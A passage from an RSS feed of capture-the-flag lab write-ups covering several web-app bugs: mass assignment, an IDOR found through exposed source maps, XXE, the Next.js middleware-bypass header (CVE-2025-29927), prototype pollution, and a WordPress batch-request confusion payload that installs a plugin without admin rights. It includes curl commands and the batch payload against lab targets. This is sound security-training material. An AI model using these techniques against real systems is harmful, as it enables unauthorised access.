id=&#34;summary&#34;&gt;Summary&lt;/h2&gt;&#xA;&lt;table&gt;&#xA;&#x9;&lt;thead&gt;&#xA;&#x9;&#x9;&#x9;&lt;tr&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;th&gt;Path&lt;/th&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;th&gt;Technique&lt;/th&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;th&gt;Admin Required&lt;/th&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;th&gt;Requests&lt;/th&gt;&#xA;&#x9;&#x9;&#x9;&lt;/tr&gt;&#xA;&#x9;&lt;/thead&gt;&#xA;&#x9;&lt;tbody&gt;&#xA;&#x9;&#x9;&#x9;&lt;tr&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;1&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;Mass assignment on &lt;code&gt;/api/register&lt;/code&gt; + &lt;code&gt;/api/admin/flag&lt;/code&gt;&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;Yes (self-assigned)&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;2&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&lt;/tr&gt;&#xA;&#x9;&#x9;&#x9;&lt;tr&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;2&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;&lt;code&gt;PUT /api/stats&lt;/code&gt; with any auth token&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;No&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;1&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&lt;/tr&gt;&#xA;&#x9;&lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;&lt;strong&gt;Root causes:&lt;/strong&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Tanuki - Stats IDOR</title>
				<link>https://johnmatrix.org/bugforge/bf-tanuki-stats-idor/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-tanuki-stats-idor/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;Hint said &amp;ldquo;WebSockets are fun&amp;rdquo; but the actual vuln was a stats IDOR &amp;ndash; the hint was wrong for this instance&lt;/li&gt;&#xA;&lt;li&gt;Socket.io was bundled in the client JS as dead code (no component uses it, no server endpoint exists)&lt;/li&gt;&#xA;&lt;li&gt;Flag was in &lt;code&gt;GET /api/stats/1&lt;/code&gt; &amp;ndash; one request after reading source maps&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;step-1--open-the-lab&#34;&gt;Step 1 &amp;ndash; Open the Lab&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Navigate to the BugForge lab URL (Tanuki &amp;ndash; SRS Flash Cards app)&lt;/li&gt;&#xA;&lt;li&gt;Note the base URL, e.g. &lt;code&gt;https://lab-XXXX.labs-app.bugforge.io&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;step-2--source-maps&#34;&gt;Step 2 &amp;ndash; Source Maps&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Open browser DevTools -&amp;gt; Sources, or fetch the JS bundle directly&lt;/li&gt;&#xA;&lt;li&gt;The app ships with source maps exposed at &lt;code&gt;/static/js/main.XXXXX.js.map&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6272a4&#34;&gt;# Grab the main page to find the JS bundle filename&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -sk https://TARGET/ | grep -oP &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#39;src=&amp;#34;/static/js/[^&amp;#34;]+&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6272a4&#34;&gt;# Output: src=&amp;#34;/static/js/main.3b4ae99e.js&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6272a4&#34;&gt;# Fetch the source map&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -sk https://TARGET/static/js/main.3b4ae99e.js.map -o sourcemap.json&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;&#xA;&lt;li&gt;The source map contains the original React component source code&lt;/li&gt;&#xA;&lt;li&gt;The key file is &lt;code&gt;UserStats.js&lt;/code&gt; which contains this line:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff79c6&#34;&gt;const&lt;/span&gt; response &lt;span style=&#34;color:#ff79c6&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff79c6&#34;&gt;await&lt;/span&gt; axios.get(&lt;span style=&#34;color:#f1fa8c&#34;&gt;`/api/stats/&lt;/span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;${&lt;/span&gt;user.id&lt;span style=&#34;color:#f1fa8c&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;`&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;&#xA;&lt;li&gt;This tells us the stats endpoint takes a user ID in the URL path &amp;ndash; classic IDOR pattern&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;step-3--register-a-user&#34;&gt;Step 3 &amp;ndash; Register a User&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -sk https://TARGET/api/register -H &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;Content-Type: application/json&amp;#34;&lt;/span&gt; -d &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#39;{&amp;#34;username&amp;#34;:&amp;#34;testuser1&amp;#34;,&amp;#34;email&amp;#34;:&amp;#34;test1@test.com&amp;#34;,&amp;#34;password&amp;#34;:&amp;#34;Password123&amp;#34;,&amp;#34;full_name&amp;#34;:&amp;#34;Test User&amp;#34;}&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Response:&lt;/p&gt;</description>
			</item>
			<item>
				<title>Tanuki - XXE</title>
				<link>https://johnmatrix.org/bugforge/bf-tanuki-xxe/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-tanuki-xxe/</guid>
				<description>&lt;h2 id=&#34;enumeration&#34;&gt;Enumeration&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Usual, register and play around&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;We can see there is an option of upload&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;When downloading the &lt;code&gt;Sample Desk&lt;/code&gt;, I researched and found and that it is very much a must to test for &lt;code&gt;XML&lt;/code&gt; upload, which then in turn made me think of XXE&lt;/p&gt;</description>
			</item>
			<item>
				<title>Vaultly - Middleware Bypass</title>
				<link>https://johnmatrix.org/bugforge/bf-vaultly-middleware-bypass/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-vaultly-middleware-bypass/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;Vaultly - a multi-tenant secure document vault for teams (Next.js 14.2.24 App Router)&lt;/li&gt;&#xA;&lt;li&gt;CVE-2025-29927: the &lt;code&gt;x-middleware-subrequest&lt;/code&gt; header makes Next.js skip middleware entirely, defeating the auth gate on the &lt;code&gt;/admin&lt;/code&gt; HQ console and leaking the master recovery key&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;enumeration&#34;&gt;Enumeration&lt;/h2&gt;&#xA;&lt;p&gt;Set the target:&lt;/p&gt;</description>
			</item>
			<item>
				<title>Vaultly - Prototype Pollution</title>
				<link>https://johnmatrix.org/bugforge/bf-vaultly-prototype-pollution/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-vaultly-prototype-pollution/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;Vaultly - a multi-tenant secure document vault for teams (Next.js 14 + Express backend)&lt;/li&gt;&#xA;&lt;li&gt;Two-stage PP chain: bypass scope allowlist, then pollute publicProjection to expose all tenants&amp;rsquo; files anonymously&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;enumeration&#34;&gt;Enumeration&lt;/h2&gt;&#xA;&lt;p&gt;Set the target:&lt;/p&gt;</description>
			</item>
			<item>
				<title>WordMess - wp2shell Batch Route Confusion</title>
				<link>https://johnmatrix.org/bugforge/bf-wordmess-wp2shell/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-wordmess-wp2shell/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;A WordPress clone behind a proof-of-work anti-bot, with a plugin install endpoint locked behind admin&lt;/li&gt;&#xA;&lt;li&gt;The chain of two WordPress core CVEs disclosed in July 2026&lt;/li&gt;&#xA;&lt;li&gt;Two layers, both pre-auth. The flag comes back in the body of a 201 from an endpoint that returns 401 to a direct request&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;tldr&#34;&gt;TL;DR&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[1] GET /forgeflare/challenge   -&amp;gt; JSON with {n, difficulty:16, token, to}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    solve: find nonce where sha256(n + &amp;#39;:&amp;#39; + nonce) has &amp;gt;= 16 leading zero bits&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    POST /forgeflare/verify      -&amp;gt; Set-Cookie: forgeflare_clearance (60s TTL)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[2] POST /wp-json/batch/v1 with 3 sub-requests:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      [0] {&amp;#34;method&amp;#34;:&amp;#34;POST&amp;#34;,&amp;#34;path&amp;#34;:&amp;#34;///&amp;#34;}                          &amp;lt;- primer (malformed, shifts handlers +1)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      [1] {&amp;#34;method&amp;#34;:&amp;#34;POST&amp;#34;,&amp;#34;path&amp;#34;:&amp;#34;/wp/v2/plugins&amp;#34;,&amp;#34;body&amp;#34;:{&amp;#34;slug&amp;#34;:&amp;#34;test&amp;#34;,&amp;#34;hook&amp;#34;:&amp;#34;init&amp;#34;}}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      [2] {&amp;#34;method&amp;#34;:&amp;#34;GET&amp;#34;,&amp;#34;path&amp;#34;:&amp;#34;/wp/v2/posts&amp;#34;}                   &amp;lt;- filler&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Response [1] = 201 {&amp;#34;plugin&amp;#34;:&amp;#34;test&amp;#34;,&amp;#34;installed&amp;#34;:true,&amp;#34;flag&amp;#34;:&amp;#34;bug{...}&amp;#34;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Direct POST /wp/v2/plugins = 401 (admin required). The batch desync bypassed it.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;the-setting&#34;&gt;The Setting&lt;/h2&gt;&#xA;&lt;p&gt;WordMess is a Node/Express clone of WordPress running behind &amp;ldquo;Forgeflare&amp;rdquo;, a Cloudflare-style anti-bot layer. The REST API is the attack surface:&lt;/p&gt;</description>
			</item>
	</channel>
</rss>
